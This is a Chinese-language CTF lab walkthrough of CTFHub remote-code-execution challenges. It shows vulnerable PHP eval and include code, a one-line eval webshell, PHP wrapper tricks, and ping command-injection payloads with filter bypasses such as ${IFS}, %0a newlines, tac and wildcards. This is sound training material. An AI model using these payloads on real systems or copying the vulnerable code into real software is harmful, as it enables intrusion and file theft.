前言
最近临近期末考试了,所以打算抽取时间来复习一下高数,线代,不然就要挂科了😭 后面难一些的地方后面再继续练习学习。但是学习也不能停搁,周六学校的战队也要进行纳新面试了,因此那就借CTFHub技能树,综合做一下刚开始学习时的一些基础漏洞,也算是回顾复习一下🐱👤
(1) eval执行
eval()函数
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
这里只是简单让我们理解一下eval函数,并没有对我们get传入的cmd进行过滤。因此我们可以直接传入我们的命令:
进行ls /查看根目录文件,发现 flag_8215
传入 cat 命令,得到flag。
(2) 文件包含
题目提示 i have a shell, how to use it?
可知shell文件是shell.txt 我们包含shell.txt文件 就可以用eval()函数执行任意命令
<?php eval($_REQUEST['ctfhub']);?>
传入?file=shell.txt&ctfhub=system('ls');
再传入cat /flag 得到flag。
(3) php://input
看题目就知道,是考察我们对php伪协议的理解
之前文章里有提到过。
我们在phpinfo()界面里发现 allow_url_include on
php://input
用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.
因此可以用php://input 来执行post输入流的命令
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]); //危险函数
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
不知道为什么hackbar没有反应。那就抓包到burp
发现flag文件 flag_21263
再改为cat /flag_21263 得到flag。
(4) 读取源代码(php://filter)
和上一题一样,也是考察我们对php伪协议的了解。
我们可以通过filter协议来读取网页源代码。
题目提示 flag in /flag flag在/flag文件里
?file=php://filter/read=convert.base64-encode/resource=/flag
base64解码,得到flag。
(5) 远程包含(php://input)
远程文件包含:
指定第三方服务器上可运行的php木马,拿到webshell,查看Flag文件。
phpinfo()发现,allow_url_fopen 和include都on,存在远程文件包含.
1. 命令执行
和上一题一样 php://input
cat /flag 得到flag。
2. 远程文件包含
具体就是这个图片酱紫,我也没搞 ,就这样吧
(6) 命令注入(ping 管道符)
ping 命令可以测一下与主机网络联通情况。但是如果过滤不严的话,也会导致恶意命令执行。
可以用管道符 来执行我们想执行的命令。
传入 127.0.0.1 | ls
16579554914493.php 有点奇怪,估计藏有flag
传入 127.0.0.1 | cat 16579554914493.php
什么也看不见,但是查看源码,就发现了flag。
(7) 过滤cat
老办法,管道符执行我们命令之后,可知
flag 在当前目录的 flag_7709325353056.php文件里
不过看源码可知,flag被过滤了。可以用tac绕过 (head,tail,nl,vim,less,more等等都可以)
传入 127.0.0.1 | tac flag_7709325353056.php
查看源代码,发现flag
(8) 过滤空格
老办法,管道符执行我们命令之后,可知
flag 在当前目录的 flag_628186223836.php 文件里
想cat flag_628186223836.php 但是空格被过滤了,怎么办呢?
空格过滤绕过:
${IFS}
$IFS$9
%09
%20
<>
<
可以尝试上面绕过空格。
传入 127.0.0.1|cat${IFS}flag_628186223836.php
ctrl+u 得到flag
(9) 过滤目录分隔符
老办法,管道符执行我们命令之后,可知
flag 目录为: flag_is_here
一般读取文件,cat+路径就读取了,但是现在目录分隔符 / 被过滤了。
我没有遇到过可以代替的字符,应该是没有。
但是我们可以通过改变当前目录路径来 达到 不用/ 直接cat 的效果。
我们使用cd命令进入到flag文件目录。
?ip=127.0.0.1 & cd flag_is_here;ls
发现可行,flag文件为: flag_17021187548410.php
?ip=127.0.0.1 & cd flag_is_here;cat flag_17021187548410.php
查看源代码,得到flag
(10) 过滤运算符
题目对管道符 | & || &&,进行了过滤,哎呀老办法行不通了
但是呢我们可以不用管道符,也能执行命令,怎么办呢?
传入 ;ls
得到 flag文件为 flag_75881014828447.php
再传入 ;cat flag_75881014828447.php
查看源码,得到flag。
知识点:
出来 window&linux 都支持的前四个连接之外
linux 还支持 分号(;) cmd1;cmd2 按顺序执行,先执行cmd1 再执行cmd2
(11) 综合过滤练习
最后一题了。前面几道题都帮助我们练习了各种过滤,协议使用方法。难一点的题目经常会考察的全面,不只是一个知识点。所以我们来看一下这道综合过滤练习如何,尝试用我们前面积累的方法来绕过。
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
}
看源码,发现 连接符,分号,空格,cat, flag,ctfhub都被过滤了。
好机会,感情前面学到的都没了。没办法了吗? 肯定有的。
url编码里 %0a代表换行 %0d 代表回车
;被过滤了的话,试着用%0A换行代替一下
构造:?ip=127.0.0.1%0Als
发现了flag目录 flag_is_here
这里我们就知道了。我们前面学到了 过滤目录分隔符读取flag文件 过滤空格绕过 这里就用上了
但是这里多过滤了一个flag 但是目录名里有,可以用*通配符来过滤
构造:?ip=127.0.0.1%0Acd${IFS}fl*_is_here%0Als
得到了flag文件为 flag_315501262911277.php
cat 被过滤了 又用到我们前面学过的 如何绕过cat过滤 *通配符绕过flag过滤 了
构造:?ip=127.0.0.1%0Acd${IFS}fl*_is_here%0Atac${IFS}fl*_315501262911277.php
查看源码,得到flag。
Ending
至此 CTFHub技能书的RCE方面也就结束了。
花了近两个小时边做边写wp,做完之后感觉难度还可以,收获挺大的,借此回忆了一下以前学到的rce命令执行方面的一些知识点。(个人比较cai,有些地方写错的话希望大家谅解,帮忙指正)
后续有时间的话,再详细整理一下rce相关的各种绕过,思路等等。
总之 不断学习吧,希望周六的面试可以如意🧐